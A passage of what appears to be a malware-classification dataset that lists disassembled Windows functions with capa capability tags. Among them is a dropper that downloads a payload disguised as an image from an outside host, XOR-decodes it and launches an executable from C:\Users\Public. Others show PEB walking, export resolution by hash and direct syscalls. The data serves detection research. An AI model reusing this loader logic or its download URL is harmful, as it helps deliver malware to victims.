joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001732e
Capabilities:
Write file on windows

Disassembly:
jmp 0x14002ccf0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1b8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1d8]
mov rax, qword [0x140057040]
xor rax, rbp
mov qword [rbp + 0x170], rax
lea rcx, [0x14006306a]
call fcn.140017374
mov rax, qword [rbp + 0x1a0]
cmp qword [rax + 0x68], 0
je 0x14002cd56
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14002cd5d
mov al, 1
jmp 0x14002cecd
mov rax, qword [rbp + 0x1a0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x158], rax
call fcn.14001657d
mov dword [rbp + 0x160], eax
mov edx, dword [rbp + 0x160]
mov rcx, qword [rbp + 0x1a0]
call qword [rbp + 0x158]
mov dword [rbp + 0x164], eax
call fcn.14001657d
mov dword [rbp + 0x168], eax
mov edx, dword [rbp + 0x164]
mov ecx, dword [rbp + 0x168]
call fcn.140016f69
movzx eax, al
test eax, eax
je 0x14002cdc0
xor al, al
jmp 0x14002cecd
mov qword [rbp + 8], 0x20
mov rax, qword [rbp + 0x1a0]
mov rax, qword [rax + 0x68]
mov qword [rbp + 0x158], rax
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x1a0]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x160], eax
cmp dword [rbp + 0x160], 0
je 0x14002ce33
cmp dword [rbp + 0x160], 1
je 0x14002ce3e
cmp dword [rbp + 0x160], 3
je 0x14002cebc
jmp 0x14002cecb
mov rax, qword [rbp + 0x1a0]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x14002ce8e
mov rax, qword [rbp + 0x1a0]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x14002ce8e
xor al, al
jmp 0x14002cecd
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14002cea9
mov dword [rbp + 0x154], 1
jmp 0x14002ceb3
mov dword [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
jmp 0x14002cecd
mov rax, qword [rbp + 0x1a0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x14002cecd
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14004b200]
call fcn.140017022
mov rax, rdi
mov rcx, qword [rbp + 0x170]
xor rcx, rbp
call fcn.140016965
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret
Function at 0x140001704
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movsxd r8, dword [0x1400163e0]
lea rsi, [0x140000000]
movsxd r11, edx
xor edi, edi
dec r11
mov r10, rcx
mov r9, qword [rsi + r8*8 + 0x163f0]
inc r8d
test r11, r11
jle 0x140001766
mov rax, r9
sub r10, r9
mov rbx, r11
mov cl, byte [r10 + rax]
mov edx, 0xf
xor cl, byte [rdx + rsi + 0xf158]
sub rdx, 1
jns 0x14000174e
mov byte [rax], cl
inc rax
sub rbx, 1
jne 0x140001745
mov rbx, qword [rsp + 8]
cmp r8d, 0xf
mov rsi, qword [rsp + 0x10]
mov rax, r9
cmovge r8d, edi
mov byte [r11 + r9], dil
mov rdi, qword [rsp + 0x18]
mov dword [0x1400163e0], r8d
ret

Function at 0x14000178c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
movsxd rax, dword [rcx + 0x3c]
mov r9, rcx
mov rbp, rdx
mov r8d, dword [rax + rcx + 0x88]
add r8, rcx
mov ebx, dword [r8 + 0x1c]
mov edi, dword [r8 + 0x24]
add rbx, rcx
mov r10d, dword [r8 + 0x20]
add rdi, rcx
mov esi, dword [r8 + 0x18]
add r10, rcx
xor ecx, ecx
test esi, esi
je 0x140001804
mov edx, dword [r10]
mov rax, rbp
add rdx, r9
sub rdx, rbp
movzx r8d, byte [rax]
movzx r11d, byte [rax + rdx]
sub r8d, r11d
jne 0x1400017f5
inc rax
test r11d, r11d
jne 0x1400017df
test r8d, r8d
je 0x14000181b
inc ecx
add r10, 4
cmp ecx, esi
jb 0x1400017d3
xor eax, eax
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret
movzx ecx, word [rdi + rcx*2]
mov eax, dword [rbx + rcx*4]
add rax, r9
jmp 0x140001806

Function at 0x140001828
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
movsxd r8, dword [0x1400163e0]
lea r14, [0x140000000]
movsxd rdi, edx
xor esi, esi
mov r10, rcx
mov r9, qword [r14 + r8*8 + 0x163f0]
inc r8d
lea eax, [rdi - 1]
test eax, eax
jle 0x140001894
mov rcx, r9
mov r11d, eax
movzx edx, byte [r10]
mov ebx, 0xf
movzx eax, byte [rbx + r14 + 0xf158]
xor dx, ax
sub rbx, 1
jns 0x140001872
mov word [rcx], dx
inc r10
add rcx, 2
sub r11, 1
jne 0x140001869
mov rbx, qword [rsp + 8]
cmp r8d, 0xf
mov r14, qword [rsp + 0x20]
mov rax, r9
cmovge r8d, esi
mov word [r9 + rdi*2 - 2], si
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
mov dword [0x1400163e0], r8d
ret
Function at 0x14000429c
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r14, rdx
mov rdi, rcx
je 0x1400042cd
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140004340
mov rax, qword [rcx + 0x40]
mov rsi, rbx
mov r9, qword [rax]
test r9, r9
je 0x1400042e4
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x1400042e6
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14000433a
test ecx, ecx
jle 0x14000431a
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov edx, ebp
mov rcx, rdi
sub rbx, rbp
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
add r14, rbp
test rbx, rbx
jle 0x14000433a
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14000433a
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
sub rsi, rbx
mov rax, rsi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x14000435c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rdi, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140004389
xor eax, eax
jmp 0x140004478
cmp qword [rcx + 0x68], 0
je 0x14000439b
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
jmp 0x140004478
mov rax, qword [rcx + 0x38]
mov rbp, rdi
mov rdx, qword [rax]
test rdx, rdx
je 0x1400043b2
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400043b4
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400043e1
cmp rax, rdi
mov rbx, rdi
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov edx, ebx
mov rcx, rsi
add r14, rbx
sub rbp, rbx
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int____ptr64]
cmp qword [rsi + 0x80], 0
mov rbx, rbp
je 0x140004472
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14000441f
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
mov r15d, 0xfff
jmp 0x14000444d
mov r9, qword [rsi + 0x80]
mov r8, r15
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbp, rax
add r14, rax
mov rbx, rbp
cmp rax, r15
jne 0x140004491
cmp rbp, r15
ja 0x140004427
test rbx, rbx
je 0x140004472
mov r9, qword [rsi + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rdi, rbx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
sub rdi, rbp
jmp 0x140004475
Function at 0x140004834
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x140015010]
xor rax, rsp
mov qword [rbp - 8], rax
or edi, 0xffffffff
mov esi, edx
mov rbx, rcx
cmp edx, edi
jne 0x14000486d
xor eax, eax
jmp 0x140004980
mov rax, qword [rcx + 0x40]
cmp qword [rax], 0
je 0x140004896
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
add r8, qword [rax]
cmp qword [rax], r8
jae 0x140004896
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], sil
mov eax, esi
jmp 0x140004980
cmp qword [rcx + 0x80], 0
je 0x14000497e
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x1400048d1
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400048f5
movsx ecx, sil
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
cmp eax, edi
cmovne edi, esi
jmp 0x14000497e
lea rax, [rbp - 0x38]
mov byte [rbp - 0x40], sil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rbp - 8]
mov qword [rsp + 0x30], rax
lea r9, [rbp - 0x3f]
lea rax, [rbp - 0x28]
mov qword [rsp + 0x28], rax
lea r8, [rbp - 0x40]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140004943
sub eax, 1
je 0x140004943
cmp eax, 2
jne 0x14000497e
movsx ecx, byte [rbp - 0x40]
jmp 0x1400048de
mov r14, qword [rbp - 0x38]
lea rax, [rbp - 0x28]
sub r14, rax
je 0x14000496e
mov r9, qword [rbx + 0x80]
lea rcx, [rbp - 0x28]
mov r8, r14
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp r14, rax
jne 0x14000497e
lea rax, [rbp - 0x40]
mov byte [rbx + 0x71], 1
cmp qword [rbp - 0x30], rax
mov eax, esi
jne 0x140004980
mov eax, edi
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.14000c2b0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140004f8c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x140015010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140004ffb
cmp byte [rcx + 0x71], 0
je 0x140004ffb
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140005050
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140005015
sub eax, 1
je 0x140005019
cmp eax, 2
jne 0x140005050
mov byte [rbx + 0x71], 0
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000c2b0
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140005047
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140005050
cmp byte [rbx + 0x71], 0
sete al
jmp 0x140004ffd
xor al, al
jmp 0x140004ffd
Function at 0x140021710
Capabilities:
Access peb ldr_data
Get kernel32 base address
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
mov rax, qword gs:[0x30]
xor r9d, r9d
mov edi, ecx
mov rdx, qword [rax + 0x60]
mov rax, qword [rdx + 0x18]
mov rdx, qword [rax + 0x10]
mov rax, qword [rdx]
mov rbx, qword [rax + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov edx, dword [rax + rbx + 0x88]
add rdx, rbx
mov r14d, dword [rdx + 0x1c]
mov esi, dword [rdx + 0x20]
add r14, rbx
mov r11d, dword [rdx + 0x24]
add rsi, rbx
mov r15d, dword [rdx + 0x14]
add r11, rbx
mov r12d, dword [rdx + 0x18]
test r15, r15
je 0x1400217e3
mov qword [rsp + 0x20], rbp
nop word [rax + rax]
mov eax, dword [r14 + r9*4]
test eax, eax
je 0x1400217cf
xor r8d, r8d
mov ebp, eax
test r12d, r12d
je 0x1400217cf
movzx eax, word [r11 + r8*2]
cmp rax, r9
jne 0x1400217c7
mov edx, dword [rsi + r8*4]
xor eax, eax
add rdx, rbx
movzx ecx, byte [rdx]
test cl, cl
je 0x1400217c3
nop dword [rax]
ror eax, 7
lea rdx, [rdx + 1]
movsx ecx, cl
add eax, ecx
movzx ecx, byte [rdx]
test cl, cl
jne 0x1400217b0
cmp edi, eax
je 0x1400217d9
inc r8
cmp r8, r12
jb 0x140021792
inc r9
cmp r9, r15
jb 0x140021780
jmp 0x1400217de
movzx eax, byte [rbx + rbp + 4]
mov rbp, qword [rsp + 0x20]
mov rbx, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
pop r15
pop r14
pop r12
ret

Function at 0x1400221f1
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, dword [section..data]
syscall
ret

Function at 0x14002732c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140027158
Function at 0x140002bc0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002c0a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002c0a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002c0a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002c0a
cmp dword [rcx + 0x84], 0xe
jbe 0x140002c0a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002c0c
xor al, al
add rsp, 0x28
ret
Function at 0x140001bd4
Capabilities:
Reference http user-agent string

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x14025e9c0]
xor rax, rsp
mov qword [rsp + 0x48], rax
lea r8, [rcx + 0x20]
mov rbx, rcx
cmp qword [r8 + 0x18], 0x10
jb 0x140001bfa
mov r8, qword [r8]
mov rcx, qword [rcx + 8]
mov edx, 0x2712
call fcn.140172170
and qword [rsp + 0x30], 0
lea rcx, str.Mozilla_5.0__hp_tablet__Linux__hpwOS_3.0.0__U__en_US__AppleWebKit_534.6__KHTML__like_Gecko__wOSBrowser_233.70_Safari_534.6_TouchPad_1.0
mov qword [rsp + 0x38], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x20], 0
call fcn.140156f20
lea rdx, str.Mozilla_5.0__hp_tablet__Linux__hpwOS_3.0.0__U__en_US__AppleWebKit_534.6__KHTML__like_Gecko__wOSBrowser_233.70_Safari_534.6_TouchPad_1.0
lea rcx, [rsp + 0x20]
mov r8, rax
call fcn.140001aac
cmp qword [rsp + 0x38], 0x10
mov rcx, qword [rbx + 8]
lea r8, [rsp + 0x20]
mov edx, 0x2722
cmovae r8, qword [rsp + 0x20]
call fcn.140172170
mov rcx, qword [rbx + 8]
mov edx, 0x44
lea r8d, [rdx - 0x3f]
call fcn.140172170
mov rcx, qword [rbx + 8]
mov edx, 0x34
lea r8d, [rdx - 0x33]
call fcn.140172170
mov rcx, qword [rbx + 8]
mov edx, 0x63
lea r8d, [rdx - 0x62]
call fcn.140172170
mov rcx, qword [rbx + 8]
xor r8d, r8d
lea edx, [r8 + 0x2f]
call fcn.140172170
mov rcx, qword [rbx + 8]
lea r8, [0x140001684]
mov edx, 0x4e2b
call fcn.140172170
mov rcx, qword [rbx + 8]
mov r8, rbx
mov edx, 0x2711
call fcn.140172170
mov rcx, qword [rbx + 8]
xor r8d, r8d
lea edx, [r8 + 0x40]
call fcn.140172170
mov rcx, qword [rbx + 8]
xor r8d, r8d
lea edx, [r8 + 0x51]
call fcn.140172170
cmp qword [rsp + 0x38], 0x10
jb 0x140001cf9
mov rcx, qword [rsp + 0x20]
call fcn.1400072cc
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140157fc0
add rsp, 0x50
pop rbx
ret

Function at 0x1400028b8
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x14025e9c0]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rbp, rdx
mov rsi, rcx
lea rdx, [0x1401c2420]
mov rcx, rbp
call fcn.140007170
xor edi, edi
mov rbx, rax
test rax, rax
jne 0x1400028fc
xor eax, eax
jmp 0x14000296d
mov rdx, rsi
mov rcx, rax
call fcn.14000528c
mov rcx, rbx
test eax, eax
je 0x140002915
call fcn.1400071d4
jmp 0x1400028f8
lea r8, [rsp + 0x20]
or edx, 0xffffffff
call fcn.14000524c
test eax, eax
je 0x14000292b
mov rcx, rbx
jmp 0x14000290e
mov esi, dword [rsp + 0x20]
test esi, esi
jle 0x140002957
lea r8, [rsp + 0x20]
mov edx, edi
mov rcx, rbx
call fcn.14000524c
lea r8, [rsp + 0x24]
mov edx, edi
mov rcx, rbx
call fcn.1400071b8
inc edi
cmp edi, esi
jl 0x140002933
mov rcx, rbx
call fcn.1400071d4
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140157fc0
mov rbx, qword [rsp + 0x190]
add rsp, 0x160
pop rdi
pop rsi
pop rbp
ret
Function at 0x140002990
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rdi, rdx
xor edx, edx
mov rbp, r8
mov rbx, rcx
xor esi, esi
call fcn.1401af310
mov rcx, rbp
call fcn.140156f20
lea rdx, [0x1401c26a8]
mov rcx, rbx
mov r12, rax
call fcn.1401580b8
lea rdx, [0x1401c1e48]
mov rcx, rdi
mov rbx, rax
call fcn.1401580b8
mov rcx, rbx
mov rdi, rax
call fcn.1401588bc
test eax, eax
jne 0x140002a4a
lea r13d, [rsi + 1]
lea rcx, [rsp + 0x58]
mov r9, rbx
mov r8, r13
mov rdx, r13
call fcn.14015889c
mov rcx, rbx
call fcn.1401588bc
test eax, eax
jne 0x140002a3e
mov eax, esi
mov r9, rdi
mov r8, r13
cdq
idiv r12d
movsxd rax, edx
mov rdx, r13
mov cl, byte [rax + rbp]
xor byte [rsp + 0x58], cl
lea rcx, [rsp + 0x58]
call fcn.140157d20
add esi, r13d
mov rcx, rbx
call fcn.1401588bc
test eax, eax
je 0x1400029f9
mov rcx, rbx
call fcn.140157e2c
mov rcx, rdi
call fcn.140157e2c
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x140002bc4
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x168]
sub rsp, 0x260
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov rax, qword [0x14025e9c0]
xor rax, rsp
mov qword [rbp + 0x158], rax
xor ecx, ecx
call fcn.14001bf6c
mov dword [rbp + 0x130], 0x65645335
mov dword [rbp + 0x134], 0x59595962
mov dword [rbp + 0x138], 0x6d694872
mov dword [rbp + 0x13c], 0x4d635975
mov dword [rbp + 0x140], 0x4e317748
mov dword [rbp + 0x144], 0x73444348
mov dword [rbp + 0x148], 0x6c476a56
mov dword [rbp + 0x14c], 0x6a5a4257
mov byte [rbp + 0x150], 0
lea rcx, [rbp + 0xc0]
call fcn.140001894
nop
mov ebx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xb0], rbx
and qword [rbp + 0xa8], 0
mov byte [rbp + 0x98], 0
lea rcx, str.C:UsersPublic_ntg.dat
call fcn.140156f20
mov r8, rax
lea rdx, str.C:UsersPublic_ntg.dat
lea rcx, [rbp + 0x98]
call fcn.140001aac
nop
mov qword [rbp + 0x88], rbx
and qword [rbp + 0x80], 0
mov byte [rbp + 0x70], 0
lea rcx, str.https:__link.jscdn.cn_1drv_aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBa0ZQRnBaT2Q2d0Fnak5JMTJPSUpNOWt2eGJNP2U9UUV6T2dW.jpg
call fcn.140156f20
mov r8, rax
lea rdx, str.https:__link.jscdn.cn_1drv_aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBa0ZQRnBaT2Q2d0Fnak5JMTJPSUpNOWt2eGJNP2U9UUV6T2dW.jpg
lea rcx, [rbp + 0x70]
call fcn.140001aac
nop
lea r8, [rbp + 0x98]
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0xc0]
call fcn.140001d0c
nop
cmp qword [rbp + 0x88], 0x10
jb 0x140002cfb
mov rcx, qword [rbp + 0x70]
call fcn.1400072cc
mov qword [rbp + 0x88], rbx
and qword [rbp + 0x80], 0
mov byte [rbp + 0x70], 0
cmp qword [rbp + 0xb0], 0x10
jb 0x140002d24
mov rcx, qword [rbp + 0x98]
call fcn.1400072cc
lea rcx, [rbp + 0xc0]
call fcn.140001674
lea r8, [rbp + 0x130]
lea rdx, str.C:UsersPublic_sbs.dat
lea rcx, str.C:UsersPublic_ntg.dat
call fcn.140002990
lea rdx, str.C:UsersPublic_sbs.dat
lea rbx, str.C:UsersPublic
mov rcx, rbx
call fcn.1400028b8
lea rdx, str.LanecatTrialMSIF1.exe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [rsp + 0x28], 6
and qword [rsp + 0x20], 0
lea r9, [0x1401c2420]
mov r8, rbx
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.140001db4
nop
lea rcx, [rsp + 0x40]
call fcn.14001505c
nop
lea rcx, [rsp + 0x40]
call fcn.140014568
nop
lea rcx, [rbp + 0xc0]
call fcn.14000194c
xor eax, eax
mov rcx, qword [rbp + 0x158]
xor rcx, rsp
call fcn.140157fc0
mov rbx, qword [rsp + 0x270]
add rsp, 0x260
pop rbp
ret
Function at 0x140003b04
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov r10d, r8d
mov r11, rdx
mov r9d, ecx
test rdx, rdx
jne 0x140003b23
xor eax, eax
jmp 0x140003c34
not r9d
lea rsi, [0x1401c3d00]
cmp r10d, 8
jb 0x140003c0a
mov rbx, r10
shr rbx, 3
movzx ecx, byte [r11]
mov eax, r9d
shr r9d, 8
xor rcx, rax
add r11, 8
add r10d, 0xfffffff8
movzx eax, cl
movzx ecx, byte [r11 - 7]
mov edx, dword [rsi + rax*4]
xor edx, r9d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 6]
mov r8d, dword [rsi + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 5]
mov edx, dword [rsi + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 4]
mov r8d, dword [rsi + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 3]
mov edx, dword [rsi + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 2]
mov r8d, dword [rsi + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r11 - 1]
mov edx, dword [rsi + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
mov r9d, dword [rsi + rax*4]
xor r9d, edx
dec rbx
jne 0x140003b3e
test r10d, r10d
je 0x140003c2e
movzx ecx, byte [r11]
mov eax, r9d
inc r11
xor rcx, rax
shr eax, 8
movzx edx, cl
mov r9d, dword [rsi + rdx*4]
xor r9d, eax
dec r10d
jne 0x140003c0f
not r9d
mov eax, r9d
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
ret

Function at 0x140003c40
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov r9d, dword [rcx + 8]
mov r10, rcx
mov r11b, dl
mov edx, dword [rcx]
mov r8d, r9d
and r8d, 0xfffd
mov ecx, edx
shr edx, 8
or r8d, 2
mov eax, r8d
xor eax, 1
imul eax, r8d
lea r8, [0x1401c3d00]
shr eax, 8
xor r11b, al
movsx rax, r11b
xor rcx, rax
movzx eax, cl
mov ecx, dword [r8 + rax*4]
xor ecx, edx
movzx eax, cl
mov dword [r10], ecx
movzx ecx, r9b
add eax, dword [r10 + 4]
shr r9d, 8
imul eax, eax, 0x8088405
inc eax
mov dword [r10 + 4], eax
movzx eax, byte [r10 + 7]
xor rcx, rax
mov eax, dword [r8 + rcx*4]
xor eax, r9d
mov dword [r10 + 8], eax
mov al, r11b
ret

Function at 0x14000416c
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x30
mov rsi, r8
mov rdi, r9
mov rbp, rdx
mov r10, rcx
imul esi, edx
cmp byte [r9], 0
je 0x1400041bc
and qword [rax - 0x18], 0
mov rdx, rcx
